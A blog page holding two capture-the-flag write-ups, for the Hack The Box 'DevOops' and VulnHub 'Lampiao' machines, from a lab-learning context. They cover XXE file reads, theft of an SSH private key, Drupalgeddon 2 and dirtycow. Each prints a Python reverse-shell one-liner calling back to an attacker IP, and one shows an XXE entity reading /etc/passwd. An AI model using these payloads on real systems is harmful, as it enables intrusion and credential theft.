December 2018 – Offensive IT

Please note: This post was first released on October 15, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/10/hack-box-devoops.html

This box retired on 12th of October 2018
Goal: CTF – user.txt & root.txt
Difficulty: 4.3 / 10 (rated by HTB-community)

As always we use Nmap to scan for open ports. As we can see in figure 1, the box is hosting a web service on port 5000 and offers SSH on port 22.

Since it is always a good idea to have some information gathering running in the background we start gobuster and search for any hidden directories. Meanwhile we browse the web site which shows the following text as shown in figure 2.

Since we won’t find anything else of interest on the web site we look at the results of gobuster and see that it has found the two directories “/feed” and “/upload”.
We browse the “/upload” directory and try to upload a reverse shell. Since figure 1 showed that the web service is using Gunicorn, which is a python web server, we try to upload the following python reverse shell, where we want to connect back to our attacking machine on port 9001:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.237”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

When we hit the upload button we get a statuscode 200 response. But before the connection gets build up we need to browse to the python shell on the web server so that it gets executed. But we do not know in which directory the shell got uploaded. We try to search everywhere to find the shell. My best guess was that it will get uploaded into the “/feed” directory, but we won’t find anything there. Since we are not able to get the uploaded shell executed we need to take a step back and try to find another way to access the system. When we have a look at figure 3 we see that the web service wants the uploaded files to be XML with the elements “Author”, “Subject” and “Content”. So, we create a XML file as shown in figure 4.

4. Harmless XML-File to test upload function

When we upload the file from figure 4 we get a statuscode 200 response and,

as shown in figure 5, the information where the file has been stored on the system. Because of this, we now know where we can find the files that we upload and furthermore we know that there is a user called “roosa” on the system. The next step is to check whether we can find our reverse shell that we have uploaded earlier inside of the “/uploads” directory. But we have no luck and it looks like the reverse shell never got uploaded.

So, we are still searching for a way to get initial access to the system by executing code from remote which is why I searched for “reverse shell xml” on Google. The fourth article is about XXE which is an web vulnerability which exploits weakly configured XML parsers by uploading maliciously crafted XML files. From the article we learn that with the following code we can make a reference to an external entity.

DOCTYPE foo [
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

To load the reference, we embed “&xxe” inside the value for the subject of our previously crafted XML file which looks like figure 6.

When we upload the XML file with the XXE-Code we are able to exfiltrate data from the system as shown in figure 7.

Combining the ability to exfiltrate data from the system and knowing about a user on the system called roosa, we are already capable to obtain the “user.txt” flag as shown in figure 8.

Even though we have obtained the user flag we are still missing a valid way to execute commands on the system. From figure 1 we know that the box is offering SSH so maybe we can find a way to access the system via SSH as user roosa. To do so we would need to exfiltrate some credentials or a private key. We take a closer look via XXE at the home directory of user roosa and find a valid entry for “/home/roosa/.ssh/id_rsa” as shown in figure 9. With the private key from we can access the box via SSH as user roosa.

On the system we need to find a way to get root privileges. When we take a look inside the bash history we find a very interesting entry. As figure 10 shows, it seems like a user had previously used “git” and pushed a wrong key file. This sounds like a big “Oops” and therefore might be exactly what we are looking for. Since the user reverted his mistake we need to access the data of the key file before it got changed. To do so we take a closer look at the available git commands and their options. We find a command called git log, which shows the logs for all previous commits. With parameter “-p” we can see what exactly has been modified with each commit. We access the directory “/deploy/resources/integrations” where the “authcredentials.key” file is located. But when we use the “git log” command we get the following error message:

fatal: Not a git repository (or any parent up to mount point /home)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).

When search inside the bash history for the git repository we see that it is located inside the directory “/work/blogfeed” for user roosa. So, we change the directory to “/home/roosa/work/blogfeed/resources/integration” and use the git log command and see a preview of all previous commits. When using the “-p” option we can see the exact contents for each commit and are able to find the previous commit from figure 10, where the user had mistakenly uploaded a wrong private SSH key.

11. Initial git commit with “wrong” authentication key

Using the SSH key from figure 11 we can connect to the box via SSH as root and access the final flag as shown in figure 12.

Please note: This post was first released on October 09, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/10/vulnhub-lampiao.html

Machine: Lampiao
Difficulty: Easy
Link: https://www.vulnhub.com/entry/lampiao-1,249/
Goal: Root Flag

The first step when attacking a new machine is to gather some initial information about the types of hosted services and their versions. This is why we usually start with a simple Nmap scan over the entire port range with the option “-p-“. After we have identified the ports which are being used by the system we use Nmap once more to scan in detail to fingerprint the services and their versions for every open port that we have discovered. To do so we use the options “-sV“, “-sC” and “-p X,Y,Z” where “X,Y,Z” is a list of every open port that we know of.

The Nmap scan shows that there is an OpenSSH Service on port 22, some weird ASCII art at port 80 and an Apache web service on port 1898. Furthermore Nmap shows that the web service on port 1898 might use Drupal 7 and hosts a “robots.txt” file. Before we start investigating the website on port 1898 by browsing the site, we start some reconnaissance by using gobuster to search for some unusual or hidden directories that the web service is hosting. While that scan is running we take a closer look at the website itself by browsing the “/robots.txt” directory. Inside the robots.txt file are many entries for allowed and disallowed directories. By browsing the directories of multiple of these entries we can confirm the usage of Drupal 7 by reading the “Changelog.txt“. Furthermore we can identify the exact version of Drupal as shown in figure 2.

Because we now have knowledge of the exact version of Drupal that us running on the host we can search for any existing exploits. To do so we can use the tool searchsploit to search for exploits inside a local copy of the exploit database by Offensive Security. Figure 3 shows that there are multiple exploits for Drupal 7. But since we need an exploit for version 7.54 and we do not have any way to obtain an authenticated session we can only use Drupalgeddon 2.

3. Searching for Drupal 7 exploit with searchsploit

We use the parameter “-m” with searchsploit to get a copy of Drupalgeddon 2 in our working directory and run the exploit which is a ruby script. Surprisingly it works without any modification and we get a shell as user www-data. As figure 4 shows, at this point we only have a sandboxed shell, which is why we need to import tty. But when using python to spawn a tty shell our reverse shell breaks. I am guessing this is due to a missing encoding or that the web shell is messing with the quotes and that they need to be escaped in some way.

Since we want to get a real reverse shell we edit the Drupalgeddon 2 exploit script and replace the payload, which is a simple php reverse shell, with the following python code:

bashcmd = “python -c ‘import socket, subprocess, os; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\”10.0.2.6\”,1234)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); p = subprocess.call([\”/bin/sh\”,\”-i\”]);’ “

This python script will open up a simple reverse shell to our attacking machine on port 1234. It is important to notice that all double quotes, besides the ones that belong to the bashcmd call, need to be escaped by using a single backslash.

5. Editing Drupalgeddon 2 to spawn a python reverse shell on port 1234

As figure 5 shows, running the edited exploit opens up a session on port 1234 and allows us to spawn a fully interactive tty. The next step is to find a way to escalate our privileges and get root access on the system. While enumerating the system we use the command “uname -a” to get more information about the systems kernel. Figure 6 shows, that the kernel version is 14.04.1 which dates back to the year 2016.

With a kernel that is at least two years old it is always a good idea to see if there are any valid kernel exploits that can be used to escalate privileges. To do so we use a shell script called linux-exploit-suggester which we can find by searching for “linux kernel exploit check” on Google. We download the bash script to our local attacking machine and use a simple http server to host the file. Afterwards we use wget from the target machine to download the file and execute it.

7. Extract of results for linux exploit suggester

As shown in figure 7, the script shows that since the machine is using Ubuntu version 14.04.1 the kernel should be vulnerable to the famous dirtycow exploit. We will use the following dirtycow Proof-of-Concept code since it is well documented and it has worked for me on previous machines. Furthermore it requires the tool make to compile the code, which is already installed and ready to use on the victim machine.

We use git to clone the dirtycow repository to our local attacking machine and use a simple http server to host all downloaded files. Afterwards we use wget to transfer the “dcow.cpp” and the “makefile” to the target machine (lampiao). Then we use make to compile the exploit code and execute it.

8. Compiling and executing dirtycow & getting root flag

As figure 8 shows the exploit worked like a charm and grants us root privileges by editing the passwd file. With the root privileges we are able to obtain our goal – accessing the root flag.

Month: December 2018

Hack The Box – DevOops

VulnHub – Lampiao